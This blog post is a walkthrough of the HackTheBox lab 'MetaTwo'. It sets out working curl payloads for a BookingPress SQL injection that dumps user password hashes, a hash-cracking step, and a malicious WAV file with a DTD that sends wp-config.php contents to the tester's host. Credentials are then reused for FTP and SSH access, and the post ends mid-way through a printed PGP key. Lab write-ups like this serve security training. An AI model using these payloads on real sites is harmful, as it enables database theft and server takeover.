Synth & Syntax

MetaTwo: A look at hacking WordPress, SQLi, XXE on HackTheBox

13 minutes
Cybersecurity
HackTheBox
PHP
SQL
MetaTwo: A look at hacking WordPress, SQLi, XXE on HackTheBox
MetaTwo: A look at hacking WordPress, SQLi, XXE on HackTheBox

Introduction

In the sprawling landscape of cybersecurity, we often encounter a variety of digital fortresses — each with their unique layers of protection. MetaTwo is one such system. In this post, we will take a look into how we approach the penetration testing (pen-testing) of such a system.

Reconnaissance: The Art of Information Gathering

In the realm of cybersecurity, reconnaissance plays a key role. It is the initial phase where we attempt to gather as much information about the target as possible, often employing tools like nmap.

Nmap Scan: Revealing the Open Ports

nmap is a free and open-source network scanner designed to discover hosts, services, and open ports to construct a “map” of the network. In our case, it helped identify the open ports on the MetaTwo system. Here’s the nmap command and the corresponding result:

Terminal window
1
nmap 10.129.228.95
Terminal window
1
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-15 15:57 GMT
2
Nmap scan report for metatwo.htb (10.129.228.95)
3
Host is up (0.016s latency).
4
Not shown: 997 closed tcp ports (reset)
5
PORT STATE SERVICE
6
21/tcp open ftp
7
22/tcp open ssh
8
80/tcp open http
9
10
Nmap done: 1 IP address (1 host up) scanned in 2.03 seconds

Our nmap scan reveals that there are 3 open ports. The HTTP port (80/tcp), in particular, is interesting because when accessed through a web browser, it redirects to metapress.htb. Therefore, I added that to our hosts file:

Terminal window
1
echo "10.129.228.95 metapress.htb" >> /etc/hosts

Upon visiting the newly assigned URL, we are able to see the contents served over HTTP. The URL is: http://metapress.htb/.

A Deep Dive into WordPress Exploitation

Our reconnaissance revealed that we are dealing with a WordPress site. WordPress, being a popular content management system, is frequently a target of exploits due to its history of vulnerabilities and the susceptibility of its various plugins.

Analysis of the WordPress Site

Metapress.htb
Metapress.htb

I made a list of all the available pages by submitting an empty search. A careful inspection of these pages provided us with several potential avenues for investigation, such as possible vulnerable plugins or potential forms of payment systems.

Here is a list of the discovered pages:

A look into the source code and searching for generator revealed that the site was built on WordPress version 5.6.2, utilising the bookingpress v1.0.10 plugin and twentytwwentyone v1.1 theme. With these details, we were able to investigate known vulnerabilities:

1
<meta name="generator" content="WordPress 5.6.2" />

Just above that line we can also see that it’s using the bookingpress v1.0.10 plugin for the appointment booking system.

And the theme is twentytwwentyone v1.1.


WordPress BookingPress Plugin Exploit
WordPress BookingPress Plugin Exploit

A critical SQL Injection vulnerability was found in the WordPress BookingPress Plugin v1.0.10, discovered and reported by cydave. The vulnerability could allow an attacker to interact directly with your database — stealing information or creating new administrator accounts. This issue was patched in version 1.0.11.

Read more about the vulnerability here.

Terminal window
1
## https://sploitus.com/exploit?id=WPEX-ID:388CD42D-B61A-42A4-8604-99B812DB2357
2
- Create a new "category" and associate it with a new "service" via the BookingPress admin menu (/wp-admin/admin.php?page=bookingpress_services)
3
- Create a new page with the "[bookingpress_form]" shortcode embedded (the "BookingPress Step-by-step Wizard Form")
4
- Visit the just created page as an unauthenticated user and extract the "nonce" (view source -> search for "action:'bookingpress_front_get_category_services'")
5
- Invoke the following curl command
6
7
curl -i 'https://example.com/wp-admin/admin-ajax.php' \
8
--data 'action=bookingpress_front_get_category_services&_wpnonce=8cc8b79544&category_id=33&total_service=-7502) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -'
9
10
Time based payload: curl -i 'https://example.com/wp-admin/admin-ajax.php' \
11
--data 'action=bookingpress_front_get_category_services&_wpnonce=8cc8b79544&category_id=1&total_service=1) AND (SELECT 9578 FROM (SELECT(SLEEP(5)))iyUp)-- ZmjH'

Launching an SQL Injection Exploit

SQL Injection is a code injection technique that attackers can use to insert malicious SQL statements into input fields for execution by the underlying SQL database. In our case, this is precisely the vulnerability present in the BookingPress Plugin.

As instructed in the exploit lets grab the nonce from the events source code.

metapress.htb source code
metapress.htb source code

_wpnonce:'b0def982ab' b0def982ab

Next we use it in the following command to test if it works:

Terminal window
1
curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' \
2
--data 'action=bookingpress_front_get_category_services&_wpnonce=b0def982ab&category_id=33&total_service=-7502) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -'
Terminal window
1
┌──(root㉿kali)-[/home/dan/HTB/metatwo]
2
└─# curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' \
3
--data 'action=bookingpress_front_get_category_services&_wpnonce=b0def982ab&category_id=33&total_service=-7502) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -'
4
HTTP/1.1 200 OK
5
Server: nginx/1.18.0
6
Date: Thu, 15 Dec 2022 16:23:23 GMT
7
Content-Type: text/html; charset=UTF-8
8
Transfer-Encoding: chunked
9
Connection: keep-alive
10
X-Powered-By: PHP/8.0.24
11
X-Robots-Tag: noindex
12
X-Content-Type-Options: nosniff
13
Expires: Wed, 11 Jan 1984 05:00:00 GMT
14
Cache-Control: no-cache, must-revalidate, max-age=0
15
X-Frame-Options: SAMEORIGIN
16
Referrer-Policy: strict-origin-when-cross-origin
17
18
[{"bookingpress_service_id":"10.5.15-MariaDB-0+deb11u1","bookingpress_category_id":"Debian 11","bookingpress_service_name":"debian-linux-gnu","bookingpress_service_price":"$1.00","bookingpress_service_duration_val":"2","bookingpress_service_duration_unit":"3","bookingpress_service_description":"4","bookingpress_service_position":"5","bookingpress_servicedate_created":"6","service_price_without_currency":1,"img_url":"http:\/\/metapress.htb\/wp-content\/plugins\/bookingpress-appointment-booking\/images\/placeholder-img.jpg"}]

Looks like it works, we’ve managed to enumerate the database a bit.

Next we can try querying the users table by altering the SQLi request:

Terminal window
1
curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' \
2
--data 'action=bookingpress_front_get_category_services&_wpnonce=b0def982ab&category_id=33&total_service=-7502) UNION ALL SELECT user_login,user_email,user_pass,1,2,3,4,5,6 from wp_users-- -'
1
[
2
{
3
"bookingpress_service_id": "admin",
4
"bookingpress_category_id": "[email protected]",
5
"bookingpress_service_name": "$P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.",
6
"bookingpress_service_price": "$1.00",
7
"bookingpress_service_duration_val": "2",
8
"bookingpress_service_duration_unit": "3",
9
"bookingpress_service_description": "4",
10
"bookingpress_service_position": "5",
11
"bookingpress_servicedate_created": "6",
12
"service_price_without_currency": 1,
13
"img_url": "http:\\/\\/metapress.htb\\/wp-content\\/plugins\\/bookingpress-appointment-booking\\/images\\/placeholder-img.jpg"
14
},
15
{
16
"bookingpress_service_id": "manager",
17
"bookingpress_category_id": "[email protected]",
18
"bookingpress_service_name": "$P$B4aNM28N0E.tMy\\/JIcnVMZbGcU16Q70",
19
"bookingpress_service_price": "$1.00",
20
"bookingpress_service_duration_val": "2",
21
"bookingpress_service_duration_unit": "3",
22
"bookingpress_service_description": "4",
23
"bookingpress_service_position": "5",
24
"bookingpress_servicedate_created": "6",
25
"service_price_without_currency": 1,
26
"img_url": "http:\\/\\/metapress.htb\\/wp-content\\/plugins\\/bookingpress-appointment-booking\\/images\\/placeholder-img.jpg"
27
}
28
]

So we’ve got 2 users, emails, and passwords.

After successfully extracting the usernames, emails, and password hashes of two users, I attempted to crack the hashes. I achieved this by using John the Ripper, a popular password cracking tool.

Add hashes to a file:

Terminal window
1
┌──(dan㉿kali)-[~/HTB/metatwo]
2
└─$ vim hashes
Terminal window
1
┌──(dan㉿kali)-[~/HTB/metatwo]
2
└─$ cat hashes
3
admin:$P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.
4
manager:$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70

Attempt crack:

Terminal window
1
┌──(dan㉿kali)-[~/HTB/metatwo]
2
└─$ john -w=/usr/share/wordlists/rockyou.txt hashes
3
Using default input encoding: UTF-8
4
Loaded 2 password hashes with 2 different salts (phpass [phpass ($P$ or $H$) 256/256 AVX2 8x3])
5
Cost 1 (iteration count) is 8192 for all loaded hashes
6
Will run 12 OpenMP threads
7
Press 'q' or Ctrl-C to abort, almost any other key for status
8
partylikearockstar (manager)

Looks like we got a login!

manager : partylikearockstar

The result? We obtained the password for the ‘manager’ account: partylikearockstar. With these credentials, we can now attempt to log into the WordPress admin panel.

Exploiting WordPress Admin Privileges

WP Admin panel as manager

WP Admin panel
WP Admin panel

Armed with the newly obtained ‘manager’ credentials, I managed to gain access to the WordPress (WP) admin panel, revealing that this user has the ability to upload new media.

Upload screen
Upload screen

Identifying Vulnerabilities

It’s essential to point out that the WordPress version we’re dealing with is 5.6.2, which is known to be vulnerable to XML External Entity (XXE) exploitation (CVE-2021-29447). If you’re interested, you can read more about the vulnerability and the affected versions here.

WordPress versions 5.7, 5.6.2, 5.6.1, 5.6, 5.0.11 are affected to XML eXternal Entity vulnerability where an authenticated user with the ability to upload files in the Media Library can upload a malicious WAVE file that could lead to remote arbitrary file disclosure and server-side request forgery (SSRF).

Crafting an XXE Attack

To exploit this vulnerability, I decided to craft a malicious WAVE file that would call a HTTP server on our machine and pass it a malicious file containing Remote Code Execution (RCE) XML.

Our payload aimed to grab the wp-config.php file, which is crucial because it contains sensitive information such as database connection settings.

Terminal window
1
┌──(dan㉿kali)-[~/HTB/metatwo]
2
└─$ cat payload.dtd
3
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=../wp-config.php">
4
<!ENTITY % init "<!ENTITY &#x25; trick SYSTEM 'http://10.10.14.99/?p=%file;'>" >

Craft the malicious WAV file:

Terminal window
1
echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://10.10.14.99/payload.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav

Start our webserver:

Terminal window
1
python3 -m http.server 80

After creating the malicious WAVE file and initiating our web server, we are ready to upload our WAV file.

Upload screen
Upload screen

This should trigger a response on our listening server:

Terminal window
1
┌──(dan㉿kali)-[~/HTB/metatwo]
2
└─$ python3 -m http.server 80
3
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
4
10.129.228.95 - - [15/Dec/2022 22:38:49] "GET /payload.dtd HTTP/1.1" 200 -
5
10.129.228.95 - - [15/Dec/2022 22:38:49] "GET /?p=PD9waHANCi8qKiBUaGUgbmFtZSBvZiB0aGUgZGF0YWJhc2UgZm9yIFdvcmRQcmVzcyAqLw0KZGVmaW5lKCAnREJfTkFNRScsICdibG9nJyApOw0KDQovKiogTXlTUUwgZGF0YWJhc2UgdXNlcm5hbWUgKi8NCmRlZmluZSggJ0RCX1VTRVInLCAnYmxvZycgKTsNCg0KLyoqIE15U1FMIGRhdGFiYXNlIHBhc3N3b3JkICovDQpkZWZpbmUoICdEQl9QQVNTV09SRCcsICc2MzVBcUBUZHFyQ3dYRlVaJyApOw0KDQovKiogTXlTUUwgaG9zdG5hbWUgKi8NCmRlZmluZSggJ0RCX0hPU1QnLCAnbG9jYWxob3N0JyApOw0KDQovKiogRGF0YWJhc2UgQ2hhcnNldCB0byB1c2UgaW4gY3JlYXRpbmcgZGF0YWJhc2UgdGFibGVzLiAqLw0KZGVmaW5lKCAnREJfQ0hBUlNFVCcsICd1dGY4bWI0JyApOw0KDQovKiogVGhlIERhdGFiYXNlIENvbGxhdGUgdHlwZS4gRG9uJ3QgY2hhbmdlIHRoaXMgaWYgaW4gZG91YnQuICovDQpkZWZpbmUoICdEQl9DT0xMQVRFJywgJycgKTsNCg0KZGVmaW5lKCAnRlNfTUVUSE9EJywgJ2Z0cGV4dCcgKTsNCmRlZmluZSggJ0ZUUF9VU0VSJywgJ21ldGFwcmVzcy5odGInICk7DQpkZWZpbmUoICdGVFBfUEFTUycsICc5TllTX2lpQEZ5TF9wNU0yTnZKJyApOw0KZGVmaW5lKCAnRlRQX0hPU1QnLCAnZnRwLm1ldGFwcmVzcy5odGInICk7DQpkZWZpbmUoICdGVFBfQkFTRScsICdibG9nLycgKTsNCmRlZmluZSggJ0ZUUF9TU0wnLCBmYWxzZSApOw0KDQovKiojQCsNCiAqIEF1dGhlbnRpY2F0aW9uIFVuaXF1ZSBLZXlzIGFuZCBTYWx0cy4NCiAqIEBzaW5jZSAyLjYuMA0KICovDQpkZWZpbmUoICdBVVRIX0tFWScsICAgICAgICAgJz8hWiR1R08qQTZ4T0U1eCxwd2VQNGkqejttYHwuWjpYQClRUlFGWGtDUnlsN31gclhWRz0zIG4+KzNtPy5CLzonICk7DQpkZWZpbmUoICdTRUNVUkVfQVVUSF9LRVknLCAgJ3gkaSQpYjBdYjFjdXA7NDdgWVZ1YS9KSHElKjhVQTZnXTBid29FVzo5MUVaOWhdcldsVnElSVE2NnBmez1dYSUnICk7DQpkZWZpbmUoICdMT0dHRURfSU5fS0VZJywgICAgJ0orbXhDYVA0ejxnLjZQXnRgeml2PmRkfUVFaSU0OCVKblJxXjJNakZpaXRuIyZuK0hYdl18fEUrRn5De3FLWHknICk7DQpkZWZpbmUoICdOT05DRV9LRVknLCAgICAgICAgJ1NtZURyJCRPMGppO145XSpgfkdOZSFwWEBEdldiNG05RWQ9RGQoLnItcXteeihGPyk3bXhOVWc5ODZ0UU83TzUnICk7DQpkZWZpbmUoICdBVVRIX1NBTFQnLCAgICAgICAgJ1s7VEJnYy8sTSMpZDVmW0gqdGc1MGlmVD9adi41V3g9YGxAdiQtdkgqPH46MF1zfWQ8Jk07Lix4MHp+Uj4zIUQnICk7DQpkZWZpbmUoICdTRUNVUkVfQVVUSF9TQUxUJywgJz5gVkFzNiFHOTU1ZEpzPyRPNHptYC5RO2FtaldedUpya18xLWRJKFNqUk9kV1tTJn5vbWlIXmpWQz8yLUk/SS4nICk7DQpkZWZpbmUoICdMT0dHRURfSU5fU0FMVCcsICAgJzRbZlNeMyE9JT9ISW9wTXBrZ1lib3k4LWpsXmldTXd9WSBkfk49Jl5Kc0lgTSlGSlRKRVZJKSBOI05PaWRJZj0nICk7DQpkZWZpbmUoICdOT05DRV9TQUxUJywgICAgICAgJy5zVSZDUUBJUmxoIE87NWFzbFkrRnE4UVdoZVNOeGQ2VmUjfXchQnEsaH1WOWpLU2tUR3N2JVk0NTFGOEw9YkwnICk7DQoNCi8qKg0KICogV29yZFByZXNzIERhdGFiYXNlIFRhYmxlIHByZWZpeC4NCiAqLw0KJHRhYmxlX3ByZWZpeCA9ICd3cF8nOw0KDQovKioNCiAqIEZvciBkZXZlbG9wZXJzOiBXb3JkUHJlc3MgZGVidWdnaW5nIG1vZGUuDQogKiBAbGluayBodHRwczovL3dvcmRwcmVzcy5vcmcvc3VwcG9ydC9hcnRpY2xlL2RlYnVnZ2luZy1pbi13b3JkcHJlc3MvDQogKi8NCmRlZmluZSggJ1dQX0RFQlVHJywgZmFsc2UgKTsNCg0KLyoqIEFic29sdXRlIHBhdGggdG8gdGhlIFdvcmRQcmVzcyBkaXJlY3RvcnkuICovDQppZiAoICEgZGVmaW5lZCggJ0FCU1BBVEgnICkgKSB7DQoJZGVmaW5lKCAnQUJTUEFUSCcsIF9fRElSX18gLiAnLycgKTsNCn0NCg0KLyoqIFNldHMgdXAgV29yZFByZXNzIHZhcnMgYW5kIGluY2x1ZGVkIGZpbGVzLiAqLw0KcmVxdWlyZV9vbmNlIEFCU1BBVEggLiAnd3Atc2V0dGluZ3MucGhwJzsNCg== HTTP/1.1" 200 -

Decoding the Response

The next part was decoding the response to obtain the PHP file. Once decoded, it provided us with some precious credentials for further exploitation.

Terminal window
1
echo -n 'PD9waHANCi8qKiBUaGUgbmFtZSBvZiB0aGUgZGF0YWJhc2UgZm9yIFdvcmRQcmVzcyAqLw0KZGVmaW5lKCAnREJfTkFNRScsICdibG9nJyApOw0KDQovKiogTXlTUUwgZGF0YWJhc2UgdXNlcm5hbWUgKi8NCmRlZmluZSggJ0RCX1VTRVInLCAnYmxvZycgKTsNCg0KLyoqIE15U1FMIGRhdGFiYXNlIHBhc3N3b3JkICovDQpkZWZpbmUoICdEQl9QQVNTV09SRCcsICc2MzVBcUBUZHFyQ3dYRlVaJyApOw0KDQovKiogTXlTUUwgaG9zdG5hbWUgKi8NCmRlZmluZSggJ0RCX0hPU1QnLCAnbG9jYWxob3N0JyApOw0KDQovKiogRGF0YWJhc2UgQ2hhcnNldCB0byB1c2UgaW4gY3JlYXRpbmcgZGF0YWJhc2UgdGFibGVzLiAqLw0KZGVmaW5lKCAnREJfQ0hBUlNFVCcsICd1dGY4bWI0JyApOw0KDQovKiogVGhlIERhdGFiYXNlIENvbGxhdGUgdHlwZS4gRG9uJ3QgY2hhbmdlIHRoaXMgaWYgaW4gZG91YnQuICovDQpkZWZpbmUoICdEQl9DT0xMQVRFJywgJycgKTsNCg0KZGVmaW5lKCAnRlNfTUVUSE9EJywgJ2Z0cGV4dCcgKTsNCmRlZmluZSggJ0ZUUF9VU0VSJywgJ21ldGFwcmVzcy5odGInICk7DQpkZWZpbmUoICdGVFBfUEFTUycsICc5TllTX2lpQEZ5TF9wNU0yTnZKJyApOw0KZGVmaW5lKCAnRlRQX0hPU1QnLCAnZnRwLm1ldGFwcmVzcy5odGInICk7DQpkZWZpbmUoICdGVFBfQkFTRScsICdibG9nLycgKTsNCmRlZmluZSggJ0ZUUF9TU0wnLCBmYWxzZSApOw0KDQovKiojQCsNCiAqIEF1dGhlbnRpY2F0aW9uIFVuaXF1ZSBLZXlzIGFuZCBTYWx0cy4NCiAqIEBzaW5jZSAyLjYuMA0KICovDQpkZWZpbmUoICdBVVRIX0tFWScsICAgICAgICAgJz8hWiR1R08qQTZ4T0U1eCxwd2VQNGkqejttYHwuWjpYQClRUlFGWGtDUnlsN31gclhWRz0zIG4+KzNtPy5CLzonICk7DQpkZWZpbmUoICdTRUNVUkVfQVVUSF9LRVknLCAgJ3gkaSQpYjBdYjFjdXA7NDdgWVZ1YS9KSHElKjhVQTZnXTBid29FVzo5MUVaOWhdcldsVnElSVE2NnBmez1dYSUnICk7DQpkZWZpbmUoICdMT0dHRURfSU5fS0VZJywgICAgJ0orbXhDYVA0ejxnLjZQXnRgeml2PmRkfUVFaSU0OCVKblJxXjJNakZpaXRuIyZuK0hYdl18fEUrRn5De3FLWHknICk7DQpkZWZpbmUoICdOT05DRV9LRVknLCAgICAgICAgJ1NtZURyJCRPMGppO145XSpgfkdOZSFwWEBEdldiNG05RWQ9RGQoLnItcXteeihGPyk3bXhOVWc5ODZ0UU83TzUnICk7DQpkZWZpbmUoICdBVVRIX1NBTFQnLCAgICAgICAgJ1s7VEJnYy8sTSMpZDVmW0gqdGc1MGlmVD9adi41V3g9YGxAdiQtdkgqPH46MF1zfWQ8Jk07Lix4MHp+Uj4zIUQnICk7DQpkZWZpbmUoICdTRUNVUkVfQVVUSF9TQUxUJywgJz5gVkFzNiFHOTU1ZEpzPyRPNHptYC5RO2FtaldedUpya18xLWRJKFNqUk9kV1tTJn5vbWlIXmpWQz8yLUk/SS4nICk7DQpkZWZpbmUoICdMT0dHRURfSU5fU0FMVCcsICAgJzRbZlNeMyE9JT9ISW9wTXBrZ1lib3k4LWpsXmldTXd9WSBkfk49Jl5Kc0lgTSlGSlRKRVZJKSBOI05PaWRJZj0nICk7DQpkZWZpbmUoICdOT05DRV9TQUxUJywgICAgICAgJy5zVSZDUUBJUmxoIE87NWFzbFkrRnE4UVdoZVNOeGQ2VmUjfXchQnEsaH1WOWpLU2tUR3N2JVk0NTFGOEw9YkwnICk7DQoNCi8qKg0KICogV29yZFByZXNzIERhdGFiYXNlIFRhYmxlIHByZWZpeC4NCiAqLw0KJHRhYmxlX3ByZWZpeCA9ICd3cF8nOw0KDQovKioNCiAqIEZvciBkZXZlbG9wZXJzOiBXb3JkUHJlc3MgZGVidWdnaW5nIG1vZGUuDQogKiBAbGluayBodHRwczovL3dvcmRwcmVzcy5vcmcvc3VwcG9ydC9hcnRpY2xlL2RlYnVnZ2luZy1pbi13b3JkcHJlc3MvDQogKi8NCmRlZmluZSggJ1dQX0RFQlVHJywgZmFsc2UgKTsNCg0KLyoqIEFic29sdXRlIHBhdGggdG8gdGhlIFdvcmRQcmVzcyBkaXJlY3RvcnkuICovDQppZiAoICEgZGVmaW5lZCggJ0FCU1BBVEgnICkgKSB7DQoJZGVmaW5lKCAnQUJTUEFUSCcsIF9fRElSX18gLiAnLycgKTsNCn0NCg0KLyoqIFNldHMgdXAgV29yZFByZXNzIHZhcnMgYW5kIGluY2x1ZGVkIGZpbGVzLiAqLw0KcmVxdWlyZV9vbmNlIEFCU1BBVEggLiAnd3Atc2V0dGluZ3MucGhwJzsNCg==' | base64 -d

Giving us the decoded PHP file:

1
<?php
2
/** The name of the database for WordPress */
3
define( 'DB_NAME', 'blog' );
4
5
/** MySQL database username */
6
define( 'DB_USER', 'blog' );
7
8
/** MySQL database password */
9
define( 'DB_PASSWORD', '635Aq@TdqrCwXFUZ' );
10
11
/** MySQL hostname */
12
define( 'DB_HOST', 'localhost' );
13
14
/** Database Charset to use in creating database tables. */
15
define( 'DB_CHARSET', 'utf8mb4' );
16
17
/** The Database Collate type. Don't change this if in doubt. */
18
define( 'DB_COLLATE', '' );
19
20
define( 'FS_METHOD', 'ftpext' );
21
define( 'FTP_USER', 'metapress.htb' );
22
define( 'FTP_PASS', '9NYS_ii@FyL_p5M2NvJ' );
23
define( 'FTP_HOST', 'ftp.metapress.htb' );
24
define( 'FTP_BASE', 'blog/' );
25
define( 'FTP_SSL', false );
26
27
/**#@+
28
* Authentication Unique Keys and Salts.
29
* @since 2.6.0
30
*/
31
define( 'AUTH_KEY', '?!Z$uGO*A6xOE5x,pweP4i*z;m`|.Z:X@)QRQFXkCRyl7}`rXVG=3 n>+3m?.B/:' );
32
define( 'SECURE_AUTH_KEY', 'x$i$)b0]b1cup;47`YVua/JHq%*8UA6g]0bwoEW:91EZ9h]rWlVq%IQ66pf{=]a%' );
33
define( 'LOGGED_IN_KEY', 'J+mxCaP4z<g.6P^t`ziv>dd}EEi%48%JnRq^2MjFiitn#&n+HXv]||E+F~C{qKXy' );
34
define( 'NONCE_KEY', 'SmeDr$$O0ji;^9]*`~GNe!pX@DvWb4m9Ed=Dd(.r-q{^z(F?)7mxNUg986tQO7O5' );
35
define( 'AUTH_SALT', '[;TBgc/,M#)d5f[H*tg50ifT?Zv.5Wx=`l@v$-vH*<~:0]s}d<&M;.,x0z~R>3!D' );
36
define( 'SECURE_AUTH_SALT', '>`VAs6!G955dJs?$O4zm`.Q;amjW^uJrk_1-dI(SjROdW[S&~omiH^jVC?2-I?I.' );
37
define( 'LOGGED_IN_SALT', '4[fS^3!=%?HIopMpkgYboy8-jl^i]Mw}Y d~N=&^JsI`M)FJTJEVI) N#NOidIf=' );
38
define( 'NONCE_SALT', '.sU&CQ@IRlh O;5aslY+Fq8QWheSNxd6Ve#}w!Bq,h}V9jKSkTGsv%Y451F8L=bL' );
39
40
/**
41
* WordPress Database Table prefix.
42
*/
43
$table_prefix = 'wp_';
44
45
/**
46
* For developers: WordPress debugging mode.
47
* @link https://wordpress.org/support/article/debugging-in-wordpress/
48
*/
49
define( 'WP_DEBUG', false );
50
51
/** Absolute path to the WordPress directory. */
52
if ( ! defined( 'ABSPATH' ) ) {
53
define( 'ABSPATH', __DIR__ . '/' );
54
}
55
56
/** Sets up WordPress vars and included files. */
57
require_once ABSPATH . 'wp-settings.php';

Excellent we now have some credentials.

Database: blog::635Aq@TdqrCwXFUZ

FTP: metapress.htb::9NYS_ii@FyL_p5M2NvJ - ftp.metapress.htb

System Exploitation and SSH Access

FTP Exploration and Exploitation

The credentials obtained allow us to connect to an FTP server and rummage around its contents. I found a PHP file in the mailer folder which provided us with further credentials for an email server.

Terminal window
1
┌──(dan㉿kali)-[~/HTB/metatwo]
2
└─$ ftp [email protected]
3
Connected to metapress.htb.
4
220 ProFTPD Server (Debian) [::ffff:10.129.228.95]
5
331 Password required for metapress.htb
6
Password:
7
230 User metapress.htb logged in
8
Remote system type is UNIX.
9
Using binary mode to transfer files.
10
ftp> dir
11
229 Entering Extended Passive Mode (|||8957|)
12
150 Opening ASCII mode data connection for file list
13
drwxr-xr-x 5 metapress.htb metapress.htb 4096 Oct 5 14:12 blog
14
drwxr-xr-x 3 metapress.htb metapress.htb 4096 Oct 5 14:12 mailer
15
226 Transfer complete
16
ftp> cd ../mailer
17
250 CWD command successful
18
ftp> dir
19
229 Entering Extended Passive Mode (|||25853|)
20
150 Opening ASCII mode data connection for file list
21
drwxr-xr-x 4 metapress.htb metapress.htb 4096 Oct 5 14:12 PHPMailer
22
-rw-r--r-- 1 metapress.htb metapress.htb 1126 Jun 22 18:32 send_email.php
23
226 Transfer complete
24
ftp> get send_email.php
25
local: send_email.php remote: send_email.php
26
229 Entering Extended Passive Mode (|||62458|)
27
150 Opening BINARY mode data connection for send_email.php (1126 bytes)
28
100% |*****************************************************************************************| 1126 698.60 KiB/s 00:00 ETA
29
226 Transfer complete
30
1126 bytes received in 00:00 (61.62 KiB/s)

![metapress.htb source code](./images/Untitled_6.png ”)

1
$mail->Host = "mail.metapress.htb";
2
$mail->SMTPAuth = true;
3
$mail->Username = "[email protected]";
4
$mail->Password = "Cb4_JmWM8zUZWMu@Ys";
5
$mail->SMTPSecure = "tls";
6
$mail->Port = 587;

Looks like we got some more credentials, this time for an email server.

[email protected]::Cb4_JmWM8zUZWMu@Ys

Let’s try and SSH into the server with these credentials.

SSH Access and User Flag

metapress.htb source code
metapress.htb source code

With the new credentials in hand, we are able to establish an SSH connection. However, this user does not have any root commands, necessitating further enumeration.

I first checked for the user flag and found it. However, the journey didn’t end there.

Terminal window
1
jnelson@meta2:~$ ls
2
user.txt
3
jnelson@meta2:~$ cat user.txt
4
757c1f16eecb41bc07b7d84218a4a40a

Unlocking PGP Keys and Cracking the Password

Upon further exploration, I discovered a hidden folder named .passpie in the user’s home. This folder contained a PGP pair of public and private keys. After extracting the private key and cracking the password with John the Ripper, I managed to obtain the password: blink182.

Terminal window
1
jnelson@meta2:~/.passpie$ cat .keys
2
-----BEGIN PGP PUBLIC KEY BLOCK-----
3
4
mQSuBGK4V9YRDADENdPyGOxVM7hcLSHfXg+21dENGedjYV1gf9cZabjq6v440NA1
5
AiJBBC1QUbIHmaBrxngkbu/DD0gzCEWEr2pFusr/Y3yY4codzmteOW6Rg2URmxMD
6
/GYn9FIjUAWqnfdnttBbvBjseL4sECpmgxTIjKbWAXlqgEgNjXD306IweEy2FOho
7
3LpAXxfk8C/qUCKcpxaz0G2k0do4+VTKZ+5UDpqM5++soJqhCrUYudb9zyVyXTpT
8
ZjMvyXe5NeC7JhBCKh+/Wqc4xyBcwhDdW+WU54vuFUthn+PUubEN1m+s13BkyvHV
9
gNAM4v6terRItXdKvgvHtJxE0vhlNSjFAedACHC4sN+dRqFu4li8XPIVYGkuK9pX
10
5xA6Nj+8UYRoZrP4SYtaDslT63ZaLd2MvwP+xMw2XEv8Uj3TGq6BIVWmajbsqkEp
11
tQkU7d+nPt1aw2sA265vrIzry02NAhxL9YQGNJmXFbZ0p8cT3CswedP8XONmVdxb
12
a1UfdG+soO3jtQsBAKbYl2yF/+D81v+42827iqO6gqoxHbc/0epLqJ+Lbl8hC/sG
13
WIVdy+jynHb81B3FIHT832OVi2hTCT6vhfTILFklLMxvirM6AaEPFhxIuRboiEQw
14
8lQMVtA1l+Et9FXS1u91h5ZL5PoCfhqpjbFD/VcC5I2MhwL7n50ozVxkW2wGAPfh
15
cODmYrGiXf8dle3z9wg9ltx25XLsVjoR+VLm5Vji85konRVuZ7TKnL5oXVgdaTML
16
qIGqKLQfhHwTdvtYOTtcxW3tIdI16YhezeoUioBWY1QM5z84F92UVz6aRzSDbc/j
17
FJOmNTe7+ShRRAAPu2qQn1xXexGXY2BFqAuhzFpO/dSidv7/UH2+x33XIUX1bPXH
18
FqSg+11VAfq3bgyBC1bXlsOyS2J6xRp31q8wJzUSlidodtNZL6APqwrYNhfcBEuE
19
PnItMPJS2j0DG2V8IAgFnsOgelh9ILU/OfCA4pD4f8QsB3eeUbUt90gmUa8wG7uM
20
FKZv0I+r9CBwjTK3bg/rFOo+DJKkN3hAfkARgU77ptuTJEYsfmho84ZaR3KSpX4L
21
/244aRzuaTW75hrZCJ4RxWxh8vGw0+/kPVDyrDc0XNv6iLIMt6zJGddVfRsFmE3Y
22
q2wOX/RzICWMbdreuQPuF0CkcvvHMeZX99Z3pEzUeuPu42E6JUj9DTYO8QJRDFr+
23
F2mStGpiqEOOvVmjHxHAduJpIgpcF8z18AosOswa8ryKg3CS2xQGkK84UliwuPUh
24
S8wCQQxveke5/IjbgE6GQOlzhpMUwzih7+15hEJVFdNZnbEC9K/ATYC/kbJSrbQM
25
RfcJUrnjPpDFgF6sXQJuNuPdowc36zjE7oIiD69ixGR5UjhvVy6yFlESuFzrwyeu
26
TDl0UOR6wikHa7tF/pekX317ZcRbWGOVr3BXYiFPTuXYBiX4+VG1fM5j3DCIho20
27
oFbEfVwnsTP6xxG2sJw48Fd+mKSMtYLDH004SoiSeQ8kTxNJeLxMiU8yaNX8Mwn4
28
V9fOIdsfks7Bv8uJP/lnKcteZjqgBnXPN6ESGjG1cbVfDsmVacVYL6bD4zn6ZN/n
29
WLQzUGFzc3BpZSAoQXV0by1nZW5lcmF0ZWQgYnkgUGFzc3BpZSkgPHBhc3NwaWVA
30
bG9jYWw+iJAEExEIADgWIQR8Z4anVhvIT1BIZx44d3XDV0XSAwUCYrhX1gIbIwUL
31
CQgHAgYVCgkICwIEFgIDAQIeAQIXgAAKCRA4d3XDV0XSA0RUAP91ekt2ndlvXNX6
32
utvl+03LgmilpA5OHqmpRWd24UhVSAD+KiO8l4wV2VOPkXfoGSqe+1DRXanAsoRp
33
